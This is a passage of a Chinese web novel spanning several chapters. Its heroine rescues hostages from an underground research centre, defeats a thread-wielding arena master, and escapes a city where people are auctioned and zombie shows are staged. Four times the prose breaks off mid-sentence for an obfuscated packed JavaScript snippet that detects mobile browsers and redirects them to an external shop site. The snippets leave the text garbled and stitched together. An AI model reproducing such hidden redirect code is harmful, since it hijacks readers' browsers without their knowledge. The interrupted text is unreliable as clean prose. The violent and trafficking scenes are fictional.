她继续向前,穿过冒冷气的六号仓库,来到一个广阔的空间。 此处宽阔阴冷,四周均是水泥墙壁,光线有些暗,正是一个停车场。 众多亮着灯的大货车停在四周,不少工人忙上忙下,从货车内拣货搬进仓库里,角落里,还停着不少轿车和闲置的货车,表面已经落了灰。 有一辆货车卸完所有货物,司机回到车上,发动车子离开。 池遥默不作声地混在车辆之间,跟上车子离开时的车辙印,来到了停车场出口处。 与池遥想象得完全不同,这里的出入口并非普通停车场的坡道设计,而是一块形如没有防护的电梯厢一样可以升降的平台,车子开到升降台上后,坐在岗亭内的保安手动操作升降台上升,升降台才会承载着货车一路上升。 池遥躲在暗处,抬起头仰望着远处的升降台。 升降台上升速度很快,只不到十秒钟就上升到了停车场顶部之上的空间,之后,足足过了好几分钟,空置的升降台才再度降落回原位。 如果她想要从停车场内离开此处,必须要先掌控升降台的操作权才行。 除此之外,也可以先取得冷冻道具,提前藏在空货车内部,跟着货车一起回到竞技场。 想到这些,池遥转过身,原路返回,前往另一侧走廊,寻找下到底层的楼梯。 一走上二楼,就闻到一股浓香,沈观宴不适应地皱皱鼻子。 “跟我来。”靳南城完全没注意到他的不适,打开楼梯对面的大门,示意沈观宴跟上。 沈观宴藏在背后的手攥成拳头,跟在靳南城身后,走了进去。 此处是一个规模不大的拍卖场,台上的拍卖师正在解说拍卖品,一见到靳南城带人进来,守在门口的服务生立刻递给沈观宴一本拍卖品册子。 靳南城带沈观宴在后排落座,沈观宴一边翻看小册子,一边听台上的拍卖师解说。 这间拍卖场的商品,大多都是长相上乘的年轻女性,被剥掉全部衣服,由铁链牵着拽上台,被迫展示给房间内的顾客。 沈观宴只翻了一页就一把将册子合上,小册子上打印着每位商品的照片和不同部位的精准数据,他看得有些反胃。 但刚合上几秒钟,他又强迫自己重新翻开册子,一页页翻看,直到看完最后一页,才在心里松了口气。 小册子里没有池遥的照片。 他无法想象池遥遭到这种对待,但脑中却再次闪过了赫老板的话。 ——幸运的话,长得漂亮的年轻女性,有很多会被包装成商品,在拍卖区进行拍卖,你可以去拍卖区找找,有没有你朋友。 遭受这样的羞辱对待,在那人看来居然已经算是“幸运”了吗? 他垂下视线,刻意不去看台上的拍卖品,身旁的其他客人们明显对台上的女性产生了兴趣,目露垂涎之色,然而真正到了叫价时,却无人喊价。 几轮下来,只有一个姿色十分出众,堪比明星的女孩成功售出,剩下的拍卖品全部流拍了。 靳南城坐下后,视线发直地盯着前排座椅发呆,显然对这样的拍卖流程早已见怪不怪,过了一会儿,发现沈观宴对拍卖会同样不感兴趣后,就拉着沈观宴站了起来。 “沈少爷想必对这种小场面也不奇怪了。”他拉长话音,“我带您去看点更有意思的吧。” 沈观宴直觉这并不是什么好事。 可他担心池遥会被带到这里,只能硬着头皮跟上靳南城。 推开二层深处的大门,出现在沈观宴面前的是一间灯火通明的宴会厅。 宴会厅中错落有致地摆放着不同展柜,拍卖品就被摆放在展柜里。 沈观宴正对着的透明展柜前,拍卖品介绍只写了寥寥四个大字。 插花少女。 展柜中,是大片大片绽放的彩色花朵,而花枝之下,则隐隐透出些人类皮肤的白皙轮廓。 看清展柜中的东西,沈观宴眼周的肌肉猛地抽搐一下,藏在背后的胳膊瞬间绷紧,指尖死死嵌进肉里,才没有流露出异样。 他只能装作没事人,强忍住喉头的呕意,跟随在靳南城身后,视线礼貌地向各个展柜中投去几眼,确认展柜里的人并非池遥或苏榕后就迅速收回目光。 “这间拍卖厅是我最喜欢的一间,沈少爷怎么看?”靳南城笑着问道。 “真的是......远远超出了我的预料,我也是第一次参与这么新奇,这么......有创意的拍卖。”他硬着头皮吹捧,“对了,靳先生,您之前说这里不是您负责的区域?” “哦对,我主要是负责训练场和休息区这两个地方。”靳南城点点头,“整个竞技场最主要的管理人是我姐姐靳南希,拍卖区,表演区这些地方都是她负责管理的,我也只是听她安排。” 靳南希,竞技场真正的主人。 沈观宴在心中反复念叨这个名字,他从未听说过这个人,心中的疑虑更多了。 “那,你姐姐是能力者吗?”他试探着问出口,“如果不方便回答也没关系。” “这倒不是什么秘密,她的确是能力者。”靳南希很坦诚,“我姐的能力很抽象,她可以在一定区域之内制造出一些隐形的丝线,将不同事物联系在一起,由此操控竞技场内的一切。” 说到这里,青年面庞上扬起一个诡异的笑容。 “沈先生,整个竞技场都在我姐的能力范围之内,只要进入竞技场,都会神不知鬼不觉地被她的丝线缠住,所以千万别想着做出格的事哦。” “整个花城,每个人做的每件事,都在我姐的监视范围之内,跑不掉的。” 在潜入底层之前,池遥已经观察过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935833|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了整个大楼的建设,发现了一个奇怪的问题。 不知为何,偌大的研究中心内部,却找不到一个摄像头。 明明电力运转正常,为什么没有监控系统呢? 不止如此,Lee博士失踪这么久,居然没有一个研究员觉得不对劲。 不过这些对于意图偷冷冻道具的池遥而言,其实是个好消息。 研究中心最底层空间不大,一片漆黑,池遥站在原地等眼睛适应黑暗后,才打量起周围的环境。 这是一个空荡荡的大厅。 大厅正中间的透明玻璃柜中,摆放着一块璀璨夺目的圆形宝石吊坠,正是她在Lee博士电脑中见过的冷冻道具! 池遥一个健步上前,立刻就想要打碎吊坠外的玻璃柜,手靠在玻璃柜上,却习惯性地使用了一点点能力。 柔和的治愈能力沿着玻璃柜慢慢逸散进去,瞬间,池遥眼前的景象变了! 视野正中的宝石表面连接着无数透明的细丝,每一根细丝表面上都闪烁着浅淡的光,似乎正在通过丝线控制道具。 不仅如此,池遥清晰地看到,自己的身上,同样连接着一根细丝! 一端连接在自己身上,另一端则在眼前的宝石上。 不对! 她心中悚然一惊,不敢耽误时间,第一时间砸向玻璃柜,想用最快的速度将宝石拿到手。 可手刚碰到玻璃柜,突然感到一股无法抵抗的寒气,在她还没碰到冷冻道具时,就顺着细丝,从宝石表面传到了她身上,彻底冻结了她的下半身,并且还在沿着双腿朝上身迅速游走。 瞬息之间,池遥的身体就被彻底冻结,只剩下脖子以上还勉强可控。 然而,身体被冻结,她的意识却仍旧清晰,显然,这就是冷冻道具的作用。 “居然能发现我的丝线,好敏锐的人。”身后传来了一个女性的声音。 一个穿着白大褂,研究员模样,白大褂内却穿着礼服裙的女人从她身后款款走来,停在了池遥面前,朱红色的长指甲擦过玻璃柜,发出清脆的响声。 她自顾自打开玻璃柜,取出宝石吊坠,随手放进白大褂口袋里。 池遥紧盯着她,一言不发,拼命将治愈能力输送到自己身上,很快,就感觉到身上的寒意似乎减少了几分,但仍旧被冻得无法动弹,她的能力对道具造成的效果不起作用。 “别白费力气了,整个花城都在我的丝线控制之下,你们每个人做了什么我都知道,真当这个研究中心防备能力这么差吗?” 池遥立刻明白了,面前这位女人的能力是操控无形的丝线,她将整个花城内的所有人都与冷冻道具连接在一起,就可以通过冷冻道具,操控所有被丝线连接着的人了。 听起来,这的确是个天衣无缝的手段。 “是吗?”池遥冻得牙齿都在打颤,却还是强撑着开口,诱导女人说出更多。 苏榕还在她的口袋里,不过苏榕是以人形进入竞技场的,想必他也被丝线连接了吧? “唉,还不死心。”女人从池遥的口袋内将冻僵的仓鼠捧出来。 “你的同伴我当然也不会放过了,毕竟你们合力杀死了Lee博士啊,Lee博士好歹为我提供了不少研究成果,这么宝贵的研究资源,却还是被你们杀死了。” 129. 花城纪事7 不对。 池遥心中一凛。 Lee博士是她独自杀死的,但在女人看来,却是被她和苏榕合力杀死的。 这么说来,对方并不知道他们和Lee博士对峙时发生的事,也定然不知道她吸收生机的另一个能力。 除却把每个人和冷冻道具连接起来之外,女人的丝线恐怕只能确认每个人所在的位置和状态,没办法探查更多。 “我没有杀Lee博士的能力。”她出声试探,“我是治疗能力者。” “Lee博士和我说过你的能力,我当然知道。”女人冷哼一声,看向手掌中的仓鼠,“那就是你的同伴杀的了,不过他现在变成了仓鼠。” “别动它!我什么都可以做!”池遥短促地惊呼一声,脑海中飞速思考。 刚刚的尝试虽然失败了,但也是有意义的,在冻结状态下,她的身体虽然被冷冻起来,但仍旧可以使用能力。 那么,只要这个女人能主动接触她的手,她就有机会反杀! “Lee博士应该和你说过我的能力,我可以通过接触治疗别人,只要你放过我的同伴,我可以用治疗能力帮你做很多事!” “没错,他说你曾经是他的实验品。”女人冷笑一声,向前几步,停在了距离池遥只有一米远的地方。 如此近的距离,如果池遥能动,她会第一时间出手,然而此时却只能等着。 在冻结的瞬间,她一只手触摸着玻璃柜,另一只手挡在身前,两只手的位置都不太好。除非女人主动接触,不然她很难制造巧合让自己的手接触到对方。 “不过,Lee博士那人心怀鬼胎,我也不能全信,不妨就用你的同伴在试验一下吧。” 女人另一只手拿出一把小巧的匕首,一刀捅向手中的仓鼠,拔出匕首的瞬间,将仓鼠的躯体贴在池遥的掌心。 手掌下柔软小巧的身躯还留存着微弱的颤动,池遥拼命向苏榕体内输送能力,果然,毛发沾满鲜血的仓鼠身上的伤口肉眼可见地恢复了。 “的确是治疗啊。”女人这才松了口气,断定眼前被冻结的池遥无法伤害到她,放心地上前一步,近距离端详着她的手。 “拥有治疗能力的能力者还是太少了,研究中心建立以来,你还是我见过的第二个,要是把你纳进研究中心,很多陷入瓶颈的实验项目就能继续进行了。” 一边说,她一边捧起了池遥的手。 瞬息之间,池遥抓住机会,发动能力! 女人的生命力瞬间抽离身体,陷入昏迷,池遥原本想一击致死,却在女人昏迷后住了手。 这个女人掌控着冷冻道具,熟悉研究中心的事务,想必是花城内的高层。 女人晕倒后,池遥身上的冷冻效果却并非消失,池遥仍旧定在原地,动弹不得。 “你还好吗?”身边,突然传来苏榕的声音。 池遥转移视线,朝一旁看去,女人倒地后,一直被她抓在手里的苏榕终于摆脱桎梏,此时已经变成了人形,将冷冻道具从女人口袋里拿出来。 苏榕使用道具,替她解除冻结状态,顺手将宝石吊坠递给她。 “你没被冻住吗?”池遥愣住了。 “我是因为你被冻结的时候在你的口袋里,才一起冻僵的,严格意义上来说,我并不是道具的冻结对象。”苏榕叹了口气,“她把我从口袋里拿出来之后,我反而渐渐恢复了。” 拿过冷冻道具,池遥仔细检查了一番手中的宝石吊坠。 与其他道具不同,这枚吊坠的能力分为两种,一种是大范围冻结能力,可以冻结一定范围内的所有事物,但冻结效果较弱,六号仓库内就被施加了这种能力。 另一种是个体冻结能力,只施加在一个对象身上。但冻结效果极强,可以完全冻结对方的躯体,只保留意识。被冻结后除非再次使用道具解除冻结状态,否则无论使用什么能力,都无法解冻。 如果能将这种能力施加在霍云初身上,或许能彻底控制住他。 时间已经过了八点,池遥将冷冻道具放回空间吊坠内,蹲下检查昏迷在地的女人。 能力者的生命力远强于普通人,池遥抽取了她身上大部分生命力,她恐怕会连续昏迷一周以上才能醒来,池遥将女人的身体放在推车上,推着车子和苏榕一同上楼。 晚上八点后,负四层的工作人员全部下班,上层的研究员们也不再下楼,走廊内空空荡荡,池遥和苏榕来到五号仓库,仓库内还剩下不少人质,见池遥来了,纷纷露出了惊恐的表情。 池遥这才想起,她身上还穿着Lee博士的白大褂。 她没说话,拿出一把匕首,割断身边最近的一个人身上的绳子,身边的苏榕见状,也依次解人质身上的绳子,二人均没说话,仓库内十分安静,只有刀锋割断绳子的窸窣声。 被解救出的人质们没有慌乱,而是帮助池遥一起给其他人松绑,仿佛受到池遥和苏榕二人的感染,没有一个人说话,偌大的仓库内,所有人都在有条不紊地行动。 等所有人质都恢复自由,池遥示意他们跟随自己走,带着这些人穿过六号仓库,来到停车场里。 停车场内同样空无一人,只剩几辆车子孤零零地停在原地,最大的货车能够轻松容纳所有人,池遥等所有人都上了车后,才打开副驾驶位,坐进了副驾驶。 人质中一位会开货车的司机已经坐在了驾驶位上,在池遥的指导下,朝着升降台驶去。 而苏榕则坐进升降台前的岗亭内,找到了操作升降台的按钮。 很快,载满人质的大货车在升降台前停稳,面容清秀的少年轻轻呼出一口气,按下了按钮。 承载着众人的升降台缓缓升起,与此同时,一只浑身雪白的小鸟从岗亭的窗口飞出来,它体型较小,飞起来却格外灵活,只用了几秒时间,就顺着货车副驾驶的车窗进入车内,落进了池遥的怀里。 池遥抱紧怀里的鸟儿,长出一口气。 很快,升降台带着货车穿过建在花城地下的研究中心大楼,停在了地面之上。 升降台刚停稳,司机就迅速发动车子,顺着蜿蜒的小路一路全速前行,一头撞进前方的建筑之内。 靳南城口中说着来拍卖区有事要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940018|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但全程却一直陪在沈观宴身边,沈观宴在拍卖区消磨了一下午,将整个拍卖区都找遍了,也没找到池遥和苏榕的身影。 他们究竟去哪儿了? 他心中愈发急躁,可又无法在靳南城面前表现出来,这一路在拍卖区看了太多恶心的东西,即便信任池遥苏榕的能力,但心中也开始隐隐担忧二人的处境。 不由地,他再度想起了赫老板的话。 ——如果运气不好,过一段时间,你会在表演区找到你的同伴。 竞技场的表演区究竟是什么样的地方? “我们已经把拍卖区所有地方都走一遍了吧?”在自助餐厅吃完晚饭,沈观宴问靳南城。 “是啊,想不到拍卖区那么多有趣的东西居然都吸引不了您。沈先生接下来还想去什么地方,靳某都奉陪。” “我想去表演区看看。”沈观宴顺势提出。 竞技场的表演区四周是不同的露天剧场,最中间则是一个巨大的营帐。 “这个时间点,应该在举行丧尸秀。”靳南城领着沈观宴走进帐内。 “竞技场和各种研究所有很多合作,因此可以第一时间获得他们新研究出来的新型丧尸,就在表演区里展示。” 贵宾区的侍者对沈观宴介绍道。 “为了向各位贵客展示丧尸的攻击能力,我们让一头丧尸与十名手持武器的普通人,以及五位能力者同台竞技,以此来展示我们的丧尸的过人之处。” 沈观宴坐在包厢内,面无表情地看着场中的惨状。 “二楼包厢是最安全的观赏地,一楼观众席虽然距离舞台很近,但很可能会出现丧尸跳出舞台攻击观众的情况。”靳南城坐在沈观宴身边,笑道。 “你们会放任这种情况发生?” “哎呀,丧尸毕竟是危险生物,我们只能保证最低限度的安全措施,观众席的观众花的门票费里可不包括保护费,如果真的发生惨剧是怪不到我们头上的啊。” 沈观宴的神色冷凝,一时不知道该说什么。 太扭曲了。 台上的丧尸浑身长满尖锐的骨刺,皮肉腐烂得十分严重,能看到森白骨骼,行动速度极快,一上场,就以极其残忍的方式将两个普通人撕咬至死。 台上剩余几个普通人神色麻木而绝望,几乎已经放弃了反抗,几位能力者满脸惊恐,只知道一昧地躲避。 池遥和苏榕不在其中。 沈观宴收回视线,目光躲避开台上血肉模糊的场面,有些意兴阑珊地盯着手里的茶杯看。 “轰!” 突然间,一声巨响传来! 一辆巨大的货车直冲进场内,不偏不倚,直接将丧尸的身躯撞飞到观众席之中,观众之中爆发出一阵刺耳的尖叫,众人四散奔逃。 “哎呀哎呀,我这乌鸦嘴!”见此情形,靳南城反而摇头晃脑地笑了起来,“这是出了什么事呀,我姐去哪儿了,也不出来管管。” 沈观宴的身体却僵住了。 透过货车正前方的玻璃,他看到自己辛辛苦苦搜寻了一整天的池遥,正坐在货车副驾驶上。 130. 花城纪事8 竞技场内的道路窄,转弯多,饶是司机努力控制车辆,仍旧一头扎进前方的建筑内。 “没事没事!不要怕!”对于这一变故情绪变动最大的是池遥身边的司机,他的脸顿时吓得煞白,嘴上不停念叨,“车没事!车还能开,倒出去就行!” 池遥则微微倾身,观察着表演场上的情况。 他们的车子闯进了一个看似剧场的空间内,刚刚似乎还撞飞了一只丧尸,丧尸飞进了观众席之内,场面十分混乱,反而没什么人注意到这辆误闯进来的车子了。 见此情景,池遥打开副驾驶车门,跳下车子,示意在台上呆立着的表演者们上车,等这些人排队上车的间隙,她望向不远处的观众席。 比起只有寥寥十几个人的表演台,还是挤满了人的观众席更吸引丧尸的注意力,它追着观众猛扑上去,周围一圈的观众很快就被撕咬得血肉模糊,场中丧尸的数目急剧增加,眼看着场面就要不受控制。 “轰!” 突然之间,丧尸所在处传来一声炸响。 爆炸的巨响一声接一声,很快,就炸飞一片丧尸。池遥关紧车厢门,回到副驾驶,见到沈观宴的能力,虽然没找到他的身影,但知道他们处在同一空间内,她立刻松了口气。 “朝出口开!”她开口道。 沈观宴一定会追上来的。 大货车再次启动,这一次很快就驶入宽阔的大路,司机拧紧的眉头渐渐松弛下来。 池遥侧头,透过后视镜,看到货车后不远处,出现了一辆跑车的影子。 她拉下车窗,探出头去,看向后方。 果然,后视镜只能显示出一辆跑车,但追在大货车后的却是一列车队,足有十几辆车追在跑车后,只有四五辆是轿车和商务车,剩下将近十辆全是敞篷观光车。 一路冲到出口,大货车已经尽可能提速,可载着一整车人的车速哪里能和跑车相比,很快,后面的跑车就超过大货车,拦截在了货车前方,硬生生将货车截停,从后方追上来的其他车子形成一个包围圈,将货车围在正中间。 “池小姐......”司机求助的目光看向池遥。 “没事,停车吧。”池遥神色如常,看到跑车的车门打开,沈观宴和一个穿西装的男人走下了车。 “已经晚上十点了,这个时间点竞技场里不该有货车,你们是什么情况?”男人一抬手,周围的轿车上就走下一群手执武器的壮汉,将黑洞洞的木仓口对准了货车。 池遥将小白鸟放在副驾驶座椅上,自己轻巧地跃下车子,在众人警惕的神色中从容地把货车车厢拉开一条缝,拖出一个昏迷不醒的女人。 “姐姐!”靳南城大惊。 沈观宴一直没有暴露立场,站在靳南城身旁,想要等待时机挟持靳南城,好让自己和池遥等人安全离开,然而,却发现池遥早就做好了准备。 “这是你姐姐?”池遥不知道靳南城的身份,但看面前的年轻人站在沈观宴身边,所有人都听他指挥,很快意识到这个人恐怕也是竞技场的高层。 既然自己误打误撞抓到的女人是面前这人的姐姐,就太好办了。 她一手架着昏迷的靳南希,把人挡在自己身前,另一只手握紧匕首,横在靳南希脖颈前,划出一道淡淡的血线。 “想要你姐姐不死的话,就放我们安全离开!” 沈观宴看向身旁的青年,自从发现池遥控制住了姐姐后,靳南城脸上一贯从容自得的笑意瞬间崩塌了,一双眼恍然无措,紧紧盯着昏迷的靳南希。 “可以,我同意!”他没有一分一秒的犹豫,立刻答应下来,示意围在大货车前的人后退,留出一条供货车离开的道路。 池遥紧盯着靳南城的眼睛,数秒后,才将刀尖偏离靳南希的脖颈,却仍旧紧抓着靳南希,没有动弹。 “这仅仅能保证你姐姐不被我杀死。”她的目光格外尖锐,“一命换一命,我要你们竞技场拿一个人和我换!” 她始终记得自己来竞技场的目的,姓赫的情报人还没有找到,她要在得到情报后才能离开。 眼下这种情况,只能逼迫对方将情报人交出来了。 “可以,我答应,你想要谁,我现在就把人给你送来!”靳南城连声答应。 “咳!” 突然,靳南城身旁的沈观宴握拳抵在唇边,看似难耐地轻咳一声。 池遥的视线立刻转向沈观宴处,接收到沈观宴的眼神,立刻明白了他的意思,他已经和情报人见过面了。 原本已经到嘴边的说辞立刻改了。 “我要你身边的人。” 她指向靳南城身旁的沈观宴。 “啊?”这下轮到靳南城呆住了。 沈观宴是竞技场线下身份最尊贵的客人,最关键的是,沈观宴的爆炸能力十分强大,如果沈观宴不同意的话,他也没能力抓住沈观宴送到池遥手里啊。 然而,沈观宴似乎预判到他的心情,拍了拍靳南城的肩膀,一言不发地来到了池遥身边,与她并肩而立。 池遥余光淡淡扫了他一眼,确定沈观宴没受伤,才一把将靳南希摇摇欲坠的身体推向靳南城,靳南城立刻上前接过姐姐,反复去探她的鼻息,确定她还活着,才松了口气。 他再抬头的时候,大货车已经载着池遥和沈观宴没了踪影。 “收工!”他叹了口气,把靳南希放在跑车副驾驶位上,“去研究中心找个大夫过来!顺便清算一下这次的损失!” 车子启动,调头回竞技场休息区,靳南城才突然反应过来,一拳砸进方向盘。 “我靠!沈观宴和他们是一伙的!” 没开多久,沈观宴就找到了来时开的轿车,带着池遥和苏榕回了轿车上,池遥将自己手中的对讲机给了货车上的人质们,用对讲机和他们沟通。 得知这群人全部都无处可去,沈观宴邀请他们加入饶城基地,于是,小轿车开在前面,引领着后方的大货车前往饶城基地。 关闭对讲机,池遥和苏榕将二人此次的经历告诉了沈观宴。 “你们被困的时候,我与情报人见了面。”沈观宴同样把曲卓的情报告诉了池遥。 “据情报人所说,曲卓和伙伴决定从花城朝北方基地的方向走,但我和韩厢月确认过,曲卓从来没有去过北方基地。” “伙伴?” “听说是个杀伐果断的男人。” 池遥不由地撇撇嘴。 和殷蘅一起的时候也是,曲卓身边还有个实力很强的年轻男人,应该也是这一位吧?这么看来,他们已经一起走过两个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944960|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她在心中琢磨起来。 如果站在曲卓的立场来看,池遥实在想不到曲卓有什么离开故乡,前往这个世界的理由。 但如果重点在于曲卓身边的男人呢? 池遥又想到了自己遇到的第一位旅人,殷蘅。 据她所知,殷蘅之所以来到自己的世界,也只是去往另一个小世界的中途停靠点而已。 如果曲卓二人真正的目的地,也同样不在此处呢? 车子继续向前开,饶城基地距北方基地不远,这条路是花城通往北方基地最方便,也最广为人知的一条大路。 “停车!” 经过一个西式建筑,池遥和苏榕突然异口同声喊了出来。 沈观宴立刻停下车子,却看到池遥和后座的苏榕不约而同看向路边的西式建筑,他也跟着二人的视线看去。 远看,这仅仅只是一座外观华丽而完整,没有收到任何损坏的建筑,也是末日前有名的网红拍照点。 然而,此时再看去,他才发现,整个建筑之外仿佛包裹了一个流光溢彩的肥皂泡,四周都散发着淡淡的彩色光晕。 而亲自体验过景点的池遥和苏榕一眼看出,这座建筑并非普通建筑,而是一个景点。 怪不得曲卓他们没有出现在北方基地。 他们只是朝着北方基地的方向前进,但最终的目的地却并非北方基地。 而是眼前这个景点。 曲卓和同伴的目的地,是其他小世界,池遥所在的丧尸围城世界只是他们的中途停靠点。 若是刚来到这个世界就找到了此处景点,池遥一定会毫不犹豫地进入景点打卡,可是,现在她认识了太多朋友,与太多人建立了羁绊,霍云初和高等丧尸同伴们的事情尚未解决,即便知道曲卓此时已经离开,她也还不能离开这个世界。 “继续开车吧。”她再次开口。 沈观宴启动了车子,继续向前行驶,迟疑了一会儿,问道。 “那个建筑外似乎有一层屏障,你们知道是什么情况吗?” “那是景点的标志。”池遥解释道。 沈观宴知道小世界,景点,旅人等概念,但还是头一次亲眼目睹景点的存在,闻言点了点头。 “你刚刚说曲卓朝着北方基地的方向去了,但北方基地却查不到她。”池遥开口,将自己的推测告知沈观宴,“既然这条路中途经过一个景点,他们大概率通过这个景点去到其他小世界了。” “等这里的所有事情结束,我也要动身去下一个世界了。” 现在说此话有些早,但池遥还是回过头,看了一眼后座的苏榕。 “绒绒,你要继续跟着我吗?” 她没有意识到,自己又开始用自己取的宠物名字称呼苏榕了。 少年抬眼,从后视镜中与池遥对视,神色自若。 “我倒也可以跟着你,不和你待在一块,我也没什么地方可去。” 他的态度十分随意,似乎完全不在意自己的处境。 然而,身边的沈观宴却苦笑一声。 “看来我很快就要和你们两个告别了啊。” 他的嗓音发紧,语气发涩。 “你们都要离开,我还要留在这里,把饶城基地做大做强呢。” 131. 重返天山1 再过一天,就到饶城基地了。 池遥坐在副驾驶上,活动了一下久坐僵硬的身体。 身边的沈观宴不久前刚刚回到驾驶座前,即将回到熟悉的地方,他的神色肉眼可见放松了一点。 然而,就在此时,沈观宴腰间的对讲机响了。 “怎么了?” 车内几人都以为是后方货车里的人传来的讯息,然而,对面却响起了韩厢月的声音。 “沈观宴,出事了。” 声音压得极沉。 “丧尸潮要来了,天山的方向有大批丧尸有组织地接近北方基地!我已经通知基地这边做好准备了,你们现在在哪儿?” “我们还有一天才能到北方基地。”沈观宴拧紧眉头。 对面陷入了片刻的沉默。 韩厢月不说话了,而他一旦不出声,反而让池遥和沈观宴听到了他周围嘈杂混乱的人声,显然,北方基地的准备并不充足。 “我们拿到了新道具,或许能对付霍云初。”池遥思索片刻,把唯一的好消息告诉对方。 “有把握吗?”韩厢月问。 池遥不说话了。 对面似乎也知道自己的问题有些刁难人,和池遥一同沉默了一会儿,随后,响起了长长的吸气声。 韩厢月深深吸了口气,又吐出来。 “听我说,既然你们明天才能到北方基地,就不必过来了,有我在,北方基地不会有事的。” “你们直接去天山拦截霍云初,只要霍云初不靠近北方基地,我就不会受到他的影响。” 对面似乎十分忙碌,说完这话,韩厢月就切断了联系。 拦截霍云初,之后呢? 几人都默契地没有去提后续的事,似乎只要不提及就能避开。 要杀死霍云初吗?他们有能力杀死霍云初吗? 杀死霍云初后,其他丧尸同伴会变成什么样呢? 可是,如果不杀霍云初的话,怎么才能使他变回原样呢? 池遥怔怔地盯着自己的掌心出神。 自己的能力,能办到吗? 她不清楚。 之前一次性输送了不少能力,也只让霍云初愣神片刻,她的能力会对霍云初起作用吗? “韩厢月说得对。” 刚开口时,声线有些发紧,但很快,池遥就找回了气息,语气越来越坚定。 “不需要回北方基地了,饶城基地也不用去,我们直接改道去天山。” “你想好了吗?”沈观宴问她。 池遥重重点头。 “好。” 很快,三人的车子在前方停下,紧随其后的货车也跟着停了下来,池遥和沈观宴走下车,将饶城基地的位置和入口告知众人,再三嘱咐后,与其他人告别,回到了车上。 轿车再度发动,这一次,只有池遥,苏榕,沈观宴三人,车子全速前进,呼啸着从街边的建筑前穿行而过。 越过破旧倒塌的楼房废墟,越过杂草丛生的荒野,越过一座座空城,不惜一切,全速向前行驶。 车子飞掠过耸立的围墙,远处北方基地的城门封锁起来,严禁任何人进出,平民百姓被命令躲在家里,锁好门窗,不准外出。城内的所有能力者全部被召集到城墙之上,分散开来,严阵以待。 林北辰带领的巡查队成员们手持武器,面色凝重地把守入口大门处的城墙,林北辰穿着制服,站在城墙上最显眼的位置,明晃晃的将自己的身躯显露出来。 “入口附近不是聚集了很多流民吗?这会儿怎么看不见了?”他问身旁的属下。 “报告队长,不知为何,两天前那群人就集体迁移出去了,不知道去了什么地方。” “这样啊。” 林北辰低下头,用精致的盒装打火机点了根烟,吸了一口气。 吐出的白雾模糊了面前的景物,他凝神等了几秒。 白雾散去,远远地,他瞥见远处的天际线正中,似乎出现了一块黑乎乎的影子。 不属于巡查队的能力者们被分配到城门对侧的城墙之上,这里距离北方基地的入口很远,周边是早已无人的首都郊区,城墙附近只有一个紧急时期可供出入的紧急出口,对抗丧尸的压力小了很多,能力者们一登上城墙,就看到了早已等候在城墙之上的高挑身影。 这个身影不算太高,却足够清瘦,清瘦得变成了一颗松竹般瘦长的影子,第一眼看到他的身影,人们总是会把他和沈家的上任继承人混淆在一起,不过现在,所有人都知道此人的身份。 北方基地唯一一个高等丧尸,韩家的继承人,韩厢月。 往日笑盈盈的青年此时紧绷着脸,穿一件利落的黑衣,金色的光线洒落在他的发丝上,肩上,为他平添了几分贵气。 此刻,若不是早已知道他的真实身份,恐怕无人会相信他是个高等丧尸。 “丧尸潮很快就会到来。”韩厢月故意放低了声音,锐利的目光打量着面前的每一个能力者,“我知道你们在此之前没有对抗丧尸的经验,不属于巡查队,能力也无法用来攻击。” “我已经提前看过了能力者名单,知道你们都有什么能力,接下来,听我指挥行动。” 他声音不大,身形也不健壮,甚至连身份都十分可疑。 然而,此时,看着站在所有人身前的消瘦身影,能力者们却说不出任何反抗的话,任由他驱使。 众人听从韩厢月的安排,分成临时小组,每组负责把守城墙的一小段,然而,或许因为地方偏僻,完全看不到丧尸的影子。 “韩小哥,我们真的可以在这里暂住吗?” 不远处,传来一个苍老的声音。 能力者们从没想过这么偏僻的地方居然也有人居住,纷纷回头看去,看到了一个衣衫褴褛的老人,正站在郊区一幢破房子门前。 老人身上穿着满是补丁,看不出原样的衣服,也正是因为这件标志性的衣服,让能力者们认出了他的身份。 “这不是在基地入口的流民吗?” “奇怪,他们怎么进来基地了?” 能力者们听到他喊韩厢月的名字,纷纷看向韩厢月。 “快回屋吧,外面很危险。”韩厢月冲老人微微颔首,直到老人重新回到房间内,才与能力者们对视。 这伙流民是被他接进基地内部,找了一个无人的小区秘密安置好的。 没办法,北方基地是由几个家族共同掌权,虽然有效防止了一家独大,但也拖慢了做决策的速度。 明明丧尸潮已经迫在眉睫了,但上层却还揪着城外流民的事不放,反复开会拉扯这件与丧尸潮相比不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 